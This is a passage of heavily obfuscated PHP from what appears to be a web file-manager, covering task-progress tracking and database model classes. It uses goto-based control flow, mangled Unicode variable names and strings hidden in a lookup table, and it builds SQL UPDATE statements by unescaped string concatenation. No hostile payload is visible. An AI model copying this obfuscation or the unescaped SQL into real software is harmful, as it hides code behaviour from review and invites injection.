$DŗӮ[1457])); Hook::bind($DŗӮ[1458], array($this, $DŗӮ[1459])); goto B¯; eț: $DŗӮ =& $_SERVER[ѽ]; $c亭 =& $this->task; $this->sourceCopyFolder = !1; goto f⋣; f⋣: Hook::bind($DŗӮ[1441], array($this, $DŗӮ[1442])); Hook::bind($DŗӮ[1443], array($this, $DŗӮ[1444])); Hook::bind($DŗӮ[1445], array($this, $DŗӮ[1446])); goto D⭙; Cŷï: if (!$c亭[$DŗӮ[1325]]) { $c亭[$DŗӮ[1325]] = LNG($DŗӮ[1466]); } goto d΅; cԌ: Hook::bind($DŗӮ[1451], array($this, $DŗӮ[1452])); Hook::bind($DŗӮ[528], array($this, $DŗӮ[1453])); $this->sourceModelCopyFlag = !1; goto cΥ; D⭙: Hook::bind($DŗӮ[535], array($this, $DŗӮ[1447])); Hook::bind($DŗӮ[536], array($this, $DŗӮ[1448])); Hook::bind($DŗӮ[538], array($this, $DŗӮ[1449])); goto e; d΅: } protected function endAfter() { goto b̓; E: Hook::unbind($d؄[502], array($this, $d؄[1450])); Hook::unbind($d؄[507], array($this, $d؄[1450])); Hook::unbind($d؄[509], array($this, $d؄[1450])); goto AƐ; a҄𣕡: Hook::unbind($d؄[1454], array($this, $d؄[1455])); Hook::unbind($d؄[1456], array($this, $d؄[1457])); Hook::unbind($d؄[1458], array($this, $d؄[1459])); goto aۨ; AƐ: Hook::unbind($d؄[511], array($this, $d؄[1450])); Hook::unbind($d؄[1451], array($this, $d؄[1452])); Hook::unbind($d؄[528], array($this, $d؄[1453])); goto a҄𣕡; dΨ: Hook::unbind($d؄[1445], array($this, $d؄[1446])); Hook::unbind($d؄[535], array($this, $d؄[1447])); Hook::unbind($d؄[536], array($this, $d؄[1448])); goto d߭; b̓: $d؄ =& $_SERVER[ѽ]; Hook::unbind($d؄[1441], array($this, $d؄[1442])); Hook::unbind($d؄[1443], array($this, $d؄[1444])); goto dΨ; d߭: Hook::unbind($d؄[538], array($this, $d؄[1449])); Hook::unbind($d؄[539], array($this, $d؄[1449])); Hook::unbind($d؄[505], array($this, $d؄[1450])); goto E; aۨ: } public function copyMoveStart($Eһ, $d, $bԳ҇, $bݿ) { } public function updateAfter() { goto cӝ; Cѥ: $a[$BԾ[1418]] = ($a[$BԾ[1467]] + $aϿ) / $a[$BԾ[708]]; if ($a[$BԾ[1418]] > 0) { $f럗 = timeFloat() - $a[$BԾ[1420]] - $a[$BԾ[1423]]; $a[$BԾ[1424]] = $f럗 * (1 - $a[$BԾ[1418]]) / $a[$BԾ[1418]]; } goto AԜݮ; cӝ: $BԾ =& $_SERVER[ѽ]; $a =& $this->task; if (!$a[$BԾ[708]]) { return; } goto Cऑܜ; Cऑܜ: if ($this->sourceModelCopyFlag) { return; } $aϿ = 0; if ($a[$BԾ[1464]] == $BԾ[1044]) { $aϿ = $a[$BԾ[1463]] * 0.5; } else { if ($a[$BԾ[1464]] == $BԾ[91]) { $aϿ = $a[$BԾ[1463]] * 0.5 + $a[$BԾ[1462]] * 0.5; } } goto Cѥ; AԜݮ: } public function addPath($B⼲) { goto a䐬絋; d: $C = IO::infoWithChildren($B⼲); $e۽Α = $eχ[$Cȯ[1468]] ? $eχ[$Cȯ[1468]][$Cȯ[1469]] : 0; $eχ[$Cȯ[1468]] = array($Cȯ[1469] => $e۽Α + 1, $Cȯ[383] => $C[$Cȯ[28]], $Cȯ[75] => $C[$Cȯ[75]], $Cȯ[462] => $C[$Cȯ[462]] ? $C[$Cȯ[462]] : $C[$Cȯ[75]]); goto dΈ䃐; dΈ䃐: if ($C[$Cȯ[29]] == $Cȯ[164]) { $eχ[$Cȯ[982]] += 1; } else { $eχ[$Cȯ[982]] += $C[$Cȯ[80]][$Cȯ[78]]; if ($C[$Cȯ[366]]) { $eχ[$Cȯ[982]] += $C[$Cȯ[80]][$Cȯ[79]] + 1; } } $eχ[$Cȯ[708]] += $C[$Cȯ[77]]; $this->update(); goto D˃; a䐬絋: $Cȯ =& $_SERVER[ѽ]; if (!$B⼲) { return; } $eχ =& $this->task; goto d; D˃: } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddFile($f) { $eݩ =& $_SERVER[ѽ]; $c =& $this->task; $c[$eݩ[1460]] = $f[$eݩ[28]]; $c[$eݩ[984]] = $f[$eݩ[28]]; $this->update(); } public function copyFileStart($Dن, $C, $a̰, $F̦, $aȩ, $BŶ) { goto a; e: $B˸[$a΅ӌ[1460]] = $F难盇; $B˸[$a΅ӌ[1462]] = (int) $Dن->size($C); $B˸[$a΅ӌ[1463]] = 0; goto aԵ; aԬ: $this->update(); goto Dѝ; aԵ: $B˸[$a΅ӌ[984]] = $a΅ӌ[33]; $B˸[$a΅ӌ[1464]] = $a΅ӌ[33]; $B˸[$a΅ӌ[1465]] = 0; goto aԬ; B顧: $GLOBALS[$a΅ӌ[1471]] = $aȩ; $GLOBALS[$a΅ӌ[1470]] = $BŶ; $B˸ =& $this->task; goto e; a: $a΅ӌ =& $_SERVER[ѽ]; $F难盇 = $aȩ; if ($F难盇 == $GLOBALS[$a΅ӌ[1470]]) { $F难盇 = $GLOBALS[$a΅ӌ[1471]]; } goto B顧; Dѝ: } public function copyFileEnd($aĤ, $D, $d, $c݊, $Bͥ, $d) { $aܱ =& $_SERVER[ѽ]; $F涣 =& $this->task; $F涣[$aܱ[1463]] = $F涣[$aܱ[1462]]; $F涣[$aܱ[1464]] = $aܱ[33]; if ($Bͥ == $F涣[$aܱ[1460]]) { $F涣[$aܱ[1467]] += $F涣[$aܱ[1462]]; $this->update(1); } else { $this->update(); $F涣[$aܱ[1463]] = 0; } self::log($aܱ[1472] . $D . $aܱ[66] . $c݊ . $aܱ[214] . $Bͥ . $aܱ[1473] . $F涣[$aܱ[1460]]); } public function updateFileEnd($eґ, $dզ) { $D =& $_SERVER[ѽ]; $Aú =& $this->task; $Aú[$D[1460]] = $eґ; $Aú[$D[1462]] = $dզ; $Aú[$D[1467]] += $dզ; $this->update(1); } public function sourceModelCopy($bՓ) { goto Bҟ; E: switch ($bڈ) { case $b‹[503]: $F雡ڳ = 1; break; case $b‹[506]: $AϺ[$b‹[1460]] = $fե[$b‹[28]]; break; case $b‹[508]: $F雡ڳ = intval($bՓ[$b‹[360]] * 0.4); break; case $b‹[510]: $F雡ڳ = intval($bՓ[$b‹[360]] * 0.2); break; case $b‹[512]: $F雡ڳ = intval($bՓ[$b‹[360]] * 0.4); break; } $this->update($F雡ڳ); $this->sourceModelCopyFlag = !1; goto Fχ; Bҟ: $b‹ =& $_SERVER[ѽ]; $bڈ = $bՓ[0]; $fե = $bՓ[1]; goto C‰; C‰: $AϺ =& $this->task; $this->sourceModelCopyFlag = !0; $F雡ڳ = 0; goto E; Fχ: } public function sourceRemove($c񍤿, $c웊ܜ) { $B˞ꇘ =& $_SERVER[ѽ]; $this->sourceModelCopyFlag = !0; $A򯝍ϒ = 1; if (isset($c񍤿[$B˞ꇘ[80]])) { $A򯝍ϒ = $c񍤿[$B˞ꇘ[80]][$B˞ꇘ[78]] + $c񍤿[$B˞ꇘ[80]][$B˞ꇘ[79]] + 1; } $this->update($A򯝍ϒ); $this->sourceModelCopyFlag = !1; } public function sourceMove($fʭ) { $this->sourceRemove($fʭ, !1); } public function curlProgress($dݻׄ, $BÌ, $Cڙ, $E驪, $cȺ) { $c =& $_SERVER[ѽ]; $Cʜ =& $this->task; if ($cȺ > 0) { $Cʜ[$c[984]] = $c[1474]; $Cʜ[$c[1464]] = $c[91]; if ($Cʜ[$c[1462]] == $E驪 || $E驪 > 1024 * 1024) { $Cʜ[$c[1463]] = $cȺ; } if ($Cʜ[$c[1465]]) { $Cʜ[$c[1463]] = $cȺ + $Cʜ[$c[1465]]; } } else { if ($Cڙ > 0) { if ($Cʜ[$c[1462]] == $BÌ) { $Cʜ[$c[1463]] = $Cڙ; $Cʜ[$c[984]] = $c[1475]; $Cʜ[$c[1464]] = $c[1044]; } } } $this->update(); } public function curlProgressStart($cĵ) { } public function curlProgressEnd($aߤ) { $Bﻚ =& $_SERVER[ѽ]; $Eˉ =& $this->task; $aݡ = curl_getinfo($aߤ); $B펖 = $aݡ[$Bﻚ[1476]]; if ($Eˉ[$Bﻚ[1464]] == $Bﻚ[91] && $B펖) { $Eˉ[$Bﻚ[1465]] += $B펖; } $this->update(); } } class TaskHttp extends Task { protected function startAfter() { $b˹؋ =& $_SERVER[ѽ]; Hook::bind($b˹؋[1454], array($this, $b˹؋[1477])); Hook::bind($b˹؋[1456], array($this, $b˹؋[1478])); Hook::bind($b˹؋[1458], array($this, $b˹؋[1479])); } protected function endAfter() { $d =& $_SERVER[ѽ]; Hook::unbind($d[1454], array($this, $d[1477])); Hook::unbind($d[1456], array($this, $d[1478])); Hook::unbind($d[1458], array($this, $d[1479])); } public function progressStart($f͛) { $d =& $_SERVER[ѽ]; $Bֳ = curl_getinfo($f͛); self::log($d[1480] . $Bֳ[$d[292]]); self::valueSet($this->task[$d[364]], $this->task); } public function progressEnd($A۳) { $B߉ӌ =& $_SERVER[ѽ]; self::log($B߉ӌ[1481] . $this->task[$B߉ӌ[364]]); $this->end(); } public function progress($fˎ, $A秋, $D՛Ѳ, $Cߧ, $Dچ) { $A =& $_SERVER[ѽ]; $Cӆ =& $this->task; if ($Dچ > 0) { $Cӆ[$A[982]] = $Cӆ[$A[982]] == 0 ? $Cߧ : $Cӆ[$A[982]]; $Cӆ[$A[994]] = $Dچ; } else { if ($D՛Ѳ > 0) { $Cӆ[$A[982]] = $Cӆ[$A[982]] == 0 ? $A秋 : $Cӆ[$A[982]]; $Cӆ[$A[994]] = $D՛Ѳ; } } $this->update(); self::log("\160\x72\x6f\147\x72\145\163\x73\110\x74\164\160\72\x64\157\167\x6e\72{$D՛Ѳ}\x2f{$A秋}\x3b\x20\165\160\154\157\x61\x64\72{$Dچ}\x2f{$Cߧ}\73"); } } goto c; A: class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\x6d\x6f\x64\x69\146\x79\x54\151\155\145", "\x74\x69\x6d\x65", "\x69\156\x73\x65\x72\164\x2c\165\160\x64\x61\164\145", "\x66\x75\156\143\164\x69\157\x6e"), array("\143\162\145\x61\164\x65\124\x69\155\145", "\164\x69\x6d\145", "\151\156\x73\145\x72\164", "\x66\165\x6e\143\x74\x69\x6f\156")); public function setDataAuto($AЧ) { $this->dataAuto = $AЧ; } public function __construct($ḑɇِ = '', $D = '', $eʘ = '') { parent::__construct($ḑɇِ, $D, $eʘ); } public static function textEncode($E) { if (!$E) { return $E; } $FѼϠј = json_encode($E); $FѼϠј = preg_replace_callback($_SERVER[ѽ][339], function ($bۄ) { return addslashes($bۄ[0]); }, $FѼϠј); return json_decode($FѼϠј); } public static function textDecode($d) { $e֘ =& $_SERVER[ѽ]; $E㘍 = json_encode($d); $E㘍 = preg_replace_callback($e֘[340], function ($aﴜ) { return $_SERVER[ѽ][95]; }, $E㘍); return json_decode($E㘍); } protected $tableMeta = array(); protected function _beforeInsert(&$Cۢ, $C) { $Fݫ =& $_SERVER[ѽ]; if (!$this->checkDataAutoHas($Fݫ[341])) { return; } $this->dataBeforeFilter($Cۢ, $Fݫ[341]); } protected function _beforeUpdate(&$aߔ, $D) { $bղ =& $_SERVER[ѽ]; if (!$this->checkDataAutoHas($bղ[342])) { return; } $this->dataBeforeFilter($aߔ, $bղ[342]); } protected function _afterSelect(&$C, $D) { if (!is_array($C)) { return; } if (!$this->checkDataAutoHas($_SERVER[ѽ][343])) { return; } foreach ($C as &$b) { $this->dataAfterFilter($b); } } protected function _afterFind(&$bȊ, $f渑) { if (!is_array($bȊ)) { return; } if (!$this->checkDataAutoHas($_SERVER[ѽ][343])) { return; } $this->dataAfterFilter($bȊ); } public function setAutoIncrement($C) { $dҪ = array($this->getPk() => $C); $C͑¨ = $this->data($dҪ)->add(); if ($C͑¨) { $this->delete($C͑¨); } } public function getAutoIncrement() { $Dش = $this->getTableName(); $eф = $this->max($this->getPk()); $A悰 = $this->query("\163\x68\157\x77\x20\164\141\142\x6c\x65\x20\163\164\x61\164\165\163\40\167\x68\145\162\145\x20\x4e\x61\x6d\145\x3d\x27{$Dش}\47"); $d = $A悰[0][$_SERVER[ѽ][344]]; $aij = max($eф, $d); return $aij; } protected function _callBefore($E޶ݢ, $E) { return $this->cacheCallCheck($E޶ݢ, $E, !1); } protected function _callAfter($dؚݑ, $Eȸ) { return $this->cacheCallCheck($dؚݑ, $Eȸ, !0); } protected function cacheFunctionAlias($BşԒ) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($aѡ, $d, $Dʎ = false) { $f޵ = $this->cacheFunctionAlias($d); if (!$f޵) { return; } foreach ($f޵ as $Fֱ => $Eн±) { $CԿᘡ = $Eн±[0]; $B޿ = explode($_SERVER[ѽ][47], $Eн±[1]); if ($aѡ == $Fֱ) { return $this->cacheFunctionGet($Fֱ, $CԿᘡ); } if ($Dʎ && in_array($aѡ, $B޿)) { $this->cacheFunctionClear($Fֱ, $CԿᘡ); } } } public function cacheFunctionGet($C˟, $A߭) { $fֺ = $this->cacheKeyMake($C˟, $A߭); $f؈ = Cache::get($fֺ); if (!is_array($f؈)) { $f؈ = call_user_func_array(array($this, $C˟), array($A߭, !0)); Cache::set($fֺ, $f؈); } return $f؈; } public function cacheFunctionClear($FƳ, $cۉ) { $D鶐 = $cۉ; if (!is_array($cۉ)) { $D鶐 = array($cۉ); } foreach ($D鶐 as $eÇϏ߂) { $b = $this->cacheKeyMake($FƳ, $eÇϏ߂); Cache::remove($b); } } private function cacheKeyMake($EۼƗ, $dщ) { $Cё =& $_SERVER[ѽ]; return get_class($this) . $Cё[70] . $EۼƗ . $Cё[345] . $dщ; } protected function selectPage($Dᯜ = 200, $Bᬇ = 1) { goto b; B½: $this->optionsValue($FՒ); $DŹ = $this->page($Bᬇ, $Dᯜ)->select(); $DŹ = is_array($DŹ) ? $DŹ : array(); goto c; F󭓃: $d = 4000; $Dᯜ = isset($in[$f뻊[346]]) ? $in[$f뻊[346]] : $Dᯜ; if ($Dᯜ === -1) { unset($in[$f뻊[346]]); $d = 100000000; $Dᯜ = $d; } goto c; c: if ($CԽ == 1) { $b = count($DŹ); } $FʬÄ = array($f뻊[348] => array($f뻊[349] => $b, $f뻊[346] => $Dᯜ, $f뻊[337] => $Bᬇ, $f뻊[350] => $CԽ), $f뻊[351] => $DŹ ? $DŹ : array()); return $FʬÄ; goto cה; Aȿ: $b = intval($this->count()); $Dᯜ = intval($Dᯜ); $Dᯜ = $Dᯜ <= 5 ? 5 : ($Dᯜ >= $d ? $d : $Dᯜ); goto bь; c: $Aڗ = $FՒ; $Aڗ[$f뻊[347]] = array(); $this->optionsValue($Aڗ); goto Aȿ; b: $f뻊 =& $_SERVER[ѽ]; global $in; $FՒ = $this->optionsValue(); goto F󭓃; bь: $CԽ = ceil($b / $Dᯜ); $Bᬇ = intval(isset($in[$f뻊[337]]) ? $in[$f뻊[337]] : $Bᬇ); $Bᬇ = $Bᬇ <= 1 ? 1 : ($Bᬇ >= $CԽ ? $CԽ : $Bᬇ); goto B½; cה: } protected function checkLength($c󆃯, $f = 0, $dН = '') { $EԤ =& $_SERVER[ѽ]; $f = $f ? $f : 65536; if (!$c󆃯 || strlen($c󆃯) < $f) { return; } $dН = $dН ? $dН . $EԤ[67] : $EԤ[33]; show_json($dН . LNG($EԤ[352]) . "\50{$f}\51", !1); } protected function metaSet($Fҹ, $c඄ = null, $BɎ = null) { goto F˯; f: if (is_null($c඄)) { return $dܣ->where(array($FՅľ => $Fҹ))->delete(); } if (is_null($BɎ)) { return $dܣ->where($cň)->delete(); } $b = is_array($c඄) ? $c඄ : array(); goto Aׂܴ; aƅ: $Cߑ = $this->tableMeta[$fˍ[354]]; $dܣ = Model($Cߑ); $cň = array($FՅľ => $Fҹ, $fˍ[355] => $c඄); goto f; F˯: $fˍ =& $_SERVER[ѽ]; if (!$this->tableMeta) { return !1; } $FՅľ = $this->tableMeta[$fˍ[353]]; goto aƅ; Aׂܴ: if (is_string($c඄)) { $b[$c඄] = $BɎ; } $E˸ = array(); foreach ($b as $A => $c܊) { $this->checkLength($c܊, !1, $Cߑ . $fˍ[4] . $A); $E˸[] = array($FՅľ => $Fҹ, $fˍ[89] => $A, $fˍ[356] => $c܊); } goto d٥; d٥: $dܣ->where(array($FՅľ => $Fҹ))->addAll($E˸, array(), !0); return !0; goto f; f: } public function metaGet($d֕) { goto bݎ; eЦ: $Bݤ = array_to_keyvalue($Bݤ, $Bɒ[89], $Bɒ[356]); return $Bݤ; goto Dנ; E݉è: $A = Model($this->tableMeta[$Bɒ[354]]); $fڨ = array($Eغٿ => $d֕); $Bݤ = $A->field($Bɒ[357])->where($fڨ)->select(); goto eЦ; bݎ: $Bɒ =& $_SERVER[ѽ]; if (!$this->tableMeta) { return array(); } $Eغٿ = $this->tableMeta[$Bɒ[353]]; goto E݉è; Dנ: } private function checkDataAutoHas($b֬׼) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $eḿ) { if (in_array($b֬׼, explode($_SERVER[ѽ][47], $eḿ[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$Fȅ, $a) { $cДù =& $_SERVER[ѽ]; foreach ($this->dataAuto as $D藄) { $b؛ = $D藄[0]; if (!in_array($a, explode($cДù[47], $D藄[2]))) { continue; } switch (trim($D藄[3])) { case $cДù[306]: case $cДù[307]: $a뤊 = $D藄[1]; $d젔 = isset($D藄[4]) ? (array) $D藄[4] : array(); if ($a뤊 == $cДù[187] && array_key_exists($b؛, $Fȅ)) { if (!$Fȅ[$b؛]) { unset($Fȅ[$b؛]); } break; } if (isset($Fȅ[$b؛])) { array_unshift($d젔, $Fȅ[$b؛]); } if ($cДù[306] == $D藄[3]) { $Fȅ[$b؛] = call_user_func_array($a뤊, $d젔); } else { $Fȅ[$b؛] = call_user_func_array(array(&$this, $a뤊), $d젔); } break; case $cДù[258]: $Fȅ[$b؛] = $Fȅ[$D藄[1]]; break; case $cДù[279]: if (isset($Fȅ[$b؛]) && !is_string($Fȅ[$b؛])) { $Fȅ[$b؛] = json_encode_force($Fȅ[$b؛]); } break; case $cДù[308]: if ($Fȅ[$b؛] === $cДù[33]) { unset($Fȅ[$b؛]); } break; case $cДù[309]: $Fȅ[$b؛] = $D藄[1]; default: break; } } if ($a == $cДù[341]) { $fɃ = strtolower($this->db->getDbType()); if (strpos($fɃ, $cДù[9]) !== 0) { return; } $d۩ = $this->field(!0)->fields; $A = $d۩[$cДù[237]]; if (isset($d۩[$cДù[236]])) { unset($A[$d۩[$cДù[236]]]); } foreach ($A as $cэ => $a) { if (!isset($Fȅ[$cэ])) { $Fȅ[$cэ] = $cДù[33]; } } } } private function dataAfterFilter(&$B) { $E܊Еϛ =& $_SERVER[ѽ]; foreach ($this->dataAuto as $aÏ׌) { $DƊ = $aÏ׌[0]; if (!in_array($E܊Еϛ[343], explode($E܊Еϛ[47], $aÏ׌[2]))) { continue; } if (!isset($B[$DƊ])) { continue; } switch (trim($aÏ׌[3])) { case $E܊Еϛ[306]: case $E܊Еϛ[307]: $f = isset($aÏ׌[4]) ? (array) $aÏ׌[4] : array(); array_unshift($f, $B[$DƊ]); if ($E܊Еϛ[306] == $aÏ׌[3]) { $B[$DƊ] = call_user_func_array($aÏ׌[1], $f); } else { $B[$DƊ] = call_user_func_array(array(&$this, $aÏ׌[1]), $f); } break; case $E܊Еϛ[258]: $B[$DƊ] = $B[$aÏ׌[1]]; break; case $E܊Еϛ[279]: $c釰 = $B[$DƊ]; $B[$DƊ] = json_decode($c釰, !0); if (is_null($B[$DƊ])) { $B[$DƊ] = $c釰; } break; case $E܊Еϛ[308]: if ($B[$DƊ] === $E܊Еϛ[33]) { unset($B[$DƊ]); } break; case $E܊Еϛ[309]: $B[$DƊ] = $aÏ׌[1]; default: break; } } } public function saveAll($a񿤕) { goto B; B: $c =& $_SERVER[ѽ]; $E䣱 = $this->tablePrefix . $this->tableName; $AĚ = self::SQL_WHERE_IN_CHUNK; goto Fԙ; Fԙ: $a񿤕 = is_array($a񿤕) ? $a񿤕 : array(); $bڟɉ = $c[358]; $dƐ䚉 = 0; goto eŘ; eŘ: $aڞ = array(); $aẵ = count($a񿤕); for ($b␈㍸ = 0; $b␈㍸ < $aẵ; $b␈㍸++) { $D = $a񿤕[$b␈㍸]; if (!is_array($D) || count($D) != 4) { continue; } $D١ = "\x55\x50\x44\101\124\105\x20{$E䣱}\x20\x53\105\x54\40{$D[2]}\40\75\40\103\x41\x53\x45\40{$D[0]}\40\xa"; if ($dƐ䚉 == 0) { $bڟɉ = $D١; } $aڞ[] = $c[113] . $D[1] . $c[113]; $dƐ䚉++; $bڟɉ .= "\40\127\110\105\116\40\x27{$D[1]}\47\40\124\110\x45\x4e\x20\x27{$D[3]}\47\x20\12"; if ($dƐ䚉 == $AĚ || $b␈㍸ == $aẵ - 1) { goto a; aʔЪ: $aڞ = array(); goto D҄; a: $E̴ = implode($c[47], $aڞ); $bڟɉ .= "\40\105\116\104\x20\40\127\x48\x45\x52\105\40{$D[0]}\x20\x49\x4e\x20\50{$E̴}\x29\40"; $this->execute($bڟɉ); goto Fѐ; Fѐ: $dƐ䚉 = 0; $bڟɉ = $D١; $this->chunkEventCheck(count($aڞ)); goto aʔЪ; D҄: } } goto Fɦ; Fɦ: $this->chunkEventSet(); goto c; c: } public function saveAllEach($d) { $E =& $_SERVER[ѽ]; $D̺˚ = $this->tablePrefix . $this->tableName; foreach ($d as $C) { if (!is_array($C) || count($C) != 4) { continue; } $Eͦ = $C[0] . $E[359] . $C[1] . $E[113]; $aʈø = $C[2] . $E[359] . $C[3] . $E[113]; $AΪ = "\x75\x70\144\x61\x74\x65\40{$D̺˚}\x20\163\x65\x74\40{$aʈø}\40\167\x68\x65\x72\x65\x20{$Eͦ}\73"; $this->execute($AΪ); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($Aތ = false, $A꿌 = false) { $this->_chunkEvent = $Aތ; $this->_chunkEventParam = $A꿌; } private function chunkEventCheck($fȽ߈) { if (!$this->_chunkEvent) { return; } $DΑ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $DΑ[$_SERVER[ѽ][360]] = $fȽ߈; Hook::trigger($this->_chunkEvent, $DΑ); } public function addAll($d, $Eх = array(), $C = false) { goto a洑; E: if (method_exists($this->db, $C㷬ݐ[257])) { for ($f̥ = 0; $f̥ < count($d); $f̥ += $d³ł) { $Dś = array_slice($d, $f̥, $d³ł); if (!is_array($Dś) || count($Dś) == 0) { break; } $b = $this->db->insertAll($Dś, $Eх, $C); $this->chunkEventCheck(count($Dś)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($d as $CǺ => $e׹) { $b = $this->db->insert($e׹, $Eх, $C); } $this->commit(); } if (!1 !== $b) { $eDŽ = $this->getLastInsID(); if ($eDŽ) { return $eDŽ; } } return $b; goto d; a洑: $C㷬ݐ =& $_SERVER[ѽ]; ignore_timeout(); $d³ł = self::SQL_WHERE_IN_CHUNK; goto Aè·; Aè·: if (empty($d)) { $this->error = think_lang($C㷬ݐ[256]); return !1; } $Eх = $this->_parseOptions($Eх); foreach ($d as $CǺ => $e׹) { $d[$CǺ] = $this->_facade($e׹); $this->_beforeInsert($d[$CǺ], $Eх); } goto E; d: } public function save($b摬 = '', $fԾΏ = array()) { goto dŰ; D̈́յ: $a = $this->findWhereField($Eś); if (!$a) { return parent::save($b摬, $fԾΏ); } $Bҭζ = 0; goto A; A: $f = $Eś[$A٧[260]][$a][1]; $f = is_array($f) ? $f : array(); $E = count($f); goto A; A: for ($F = 0; $F < $E; $F += $Dڟ) { $fό = array_slice($f, $F, $Dڟ); if (!is_array($fό) || count($fό) == 0) { break; } $Eś[$A٧[260]][$a][1] = $fό; $this->optionsValue($Eś); $Bҭζ += parent::save($b摬, $fԾΏ); $this->chunkEventCheck(count($fό)); } $this->chunkEventSet(); return $Bҭζ; goto d; dŰ: $A٧ =& $_SERVER[ѽ]; $Dڟ = self::SQL_WHERE_IN_CHUNK; $Eś = $this->optionsValue(); goto D̈́յ; d: } public function add($B = '', $a = array(), $e԰ = false) { if ($this->addTaskStatus && is_array($B)) { $this->addTaskData[] = $B; return; } return parent::add($B, $a, $e԰); } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($E = array()) { goto Eҧ; A쵒: $A钅 = is_array($A钅) ? $A钅 : array(); $e˶Ξ = null; for ($b = 0; $b < count($A钅); $b += $f) { $fϐǃ = array_slice($A钅, $b, $f); if (!is_array($fϐǃ) || count($fϐǃ) == 0) { break; } $bԶ[$aʉ[260]][$DտƎ][1] = $fϐǃ; $this->optionsValue($bԶ); $Cũ = parent::select($E); if (!$Cũ) { continue; } if (is_null($e˶Ξ)) { $e˶Ξ = array(); } $e˶Ξ = array_merge($e˶Ξ, $Cũ); } goto D׭; D: $DտƎ = $this->findWhereField($bԶ); if (!$DտƎ || isset($bԶ[$aʉ[277]]) || isset($bԶ[$aʉ[337]])) { return parent::select($E); } $A钅 = $bԶ[$aʉ[260]][$DտƎ][1]; goto A쵒; Eҧ: $aʉ =& $_SERVER[ѽ]; $f = self::SQL_WHERE_IN_CHUNK; $bԶ = $this->optionsValue(); goto D; D׭: return $e˶Ξ; goto DѸ; DѸ: } public function delete($b = array()) { goto c; c: $d짖 =& $_SERVER[ѽ]; $e˳ = self::SQL_WHERE_IN_CHUNK; $AΣʢ = $this->optionsValue(); goto d; aԓ: $Dߨ = $AΣʢ[$d짖[260]][$CԔ][1]; $Dߨ = is_array($Dߨ) ? $Dߨ : array(); for ($d = 0; $d < count($Dߨ); $d += $e˳) { $b = array_slice($Dߨ, $d, $e˳); if (!is_array($b) || count($b) == 0) { break; } $AΣʢ[$d짖[260]][$CԔ][1] = $b; $this->optionsValue($AΣʢ); $b += parent::delete($b); } goto Eɒ; Eɒ: return $b; goto D֫; d: $CԔ = $this->findWhereField($AΣʢ); if (!$CԔ) { return parent::delete($b); } $b = 0; goto aԓ; D֫: } private function findWhereField($Fʕ) { $A =& $_SERVER[ѽ]; $Eˊ = self::SQL_WHERE_IN_CHUNK; if (!is_array($Fʕ) || !is_array($Fʕ[$A[260]])) { return !1; } foreach ($Fʕ[$A[260]] as $b뜟 => $BǏ) { if (is_array($BǏ) && isset($BǏ[0]) && is_string($BǏ[0]) && strtolower($BǏ[0]) == $A[7] && is_array($BǏ[1]) && count($BǏ[1]) > $Eˊ) { ignore_timeout(); return $b뜟; } } return !1; } } class ModelBaseLight { public $optionType = ''; public $modelType = "\x53\x79\163\x74\x65\155\x4f\x70\164\151\x6f\x6e"; public $field = array(); public function listData($d˪ʘ = false, $c = "\x6d\157\x64\151\x66\x79\x54\151\x6d\145", $Aŋ˧ = false) { $eχ = Model($this->modelType)->get(!1, $this->optionType, !0); if (!$eχ) { return $d˪ʘ ? null : array(); } if (!$d˪ʘ) { $eχ = array_filter(array_values($eχ)); return array_sort_by($eχ, $c, $Aŋ˧); } return $eχ[$_SERVER[ѽ][361] . $d˪ʘ]; } public function insert($B߰) { goto Fʞ; Fʞ: $e =& $_SERVER[ѽ]; $B߰ = array_field_key($B߰, $this->field); $B = Model($this->modelType)->get($e[362], $this->optionType . $e[363]); goto Aԇ; Aԇ: $B = $B ? $B : 0; $B߰[$e[364]] = ++$B; $B߰[$e[184]] = time(); goto dߑ; cޖϹ: return $B; goto dᘸ; dߑ: $B߰[$e[107]] = time(); Model($this->modelType)->set($e[362], $B, $this->optionType . $e[363]); Model($this->modelType)->set($e[361] . $B, $B߰, $this->optionType); goto cޖϹ; dᘸ: } public function update($a, $Aɐ) { goto d; d: $D̴ =& $_SERVER[ѽ]; $Aɐ = array_field_key($Aɐ, $this->field); $d隽 = $this->listData($a); goto BԦ; BԦ: if (!$d隽) { return !1; } $Aɐ = array_merge($d隽, $Aɐ); $Aɐ[$D̴[107]] = time(); goto A; A: return Model($this->modelType)->set($D̴[361] . $a, $Aɐ, $this->optionType); goto cٯ; cٯ: } public function remove($e) { return Model($this->modelType)->remove($_SERVER[ѽ][361] . $e, $this->optionType); } public function clear() { $a确 =& $_SERVER[ѽ]; Model($this->modelType)->remove($a确[362], $this->optionType . $a确[363]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($F餋, $d̤ī) { if (!$d̤ī) { return !1; } $c = $this->listData(); $c = array_to_keyvalue($c, $F餋); return isset($c[$d̤ī]) ? $c[$d̤ī] : !1; } public function findByName($aȃ) { return $this->findByKey($_SERVER[ѽ][28], $aȃ); } protected function resetData($AƲ) { $BөМ =& $_SERVER[ѽ]; $AƲ = is_array($AƲ) ? $AƲ : array(); $C = array(); for ($E才 = 0; $E才 < count($AƲ); $E才++) { $C[$BөМ[361] . $AƲ[$E才][$BөМ[364]]] = $AƲ[$E才]; } return Model($this->modelType)->set($C, !1, $this->optionType); } private function getAutoName($dۥ) { $B˽ㄺ = array_to_keyvalue($this->listData(), $_SERVER[ѽ][28]); if (!$B˽ㄺ || !isset($B˽ㄺ[$dۥ])) { return $dۥ; } for ($f玈 = 1; $f玈 < count($B˽ㄺ); $f玈++) { $a = $dۥ . "\x28{$f玈}\x29"; if (!isset($B˽ㄺ[$a])) { return $a; } } return $a; } } class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function 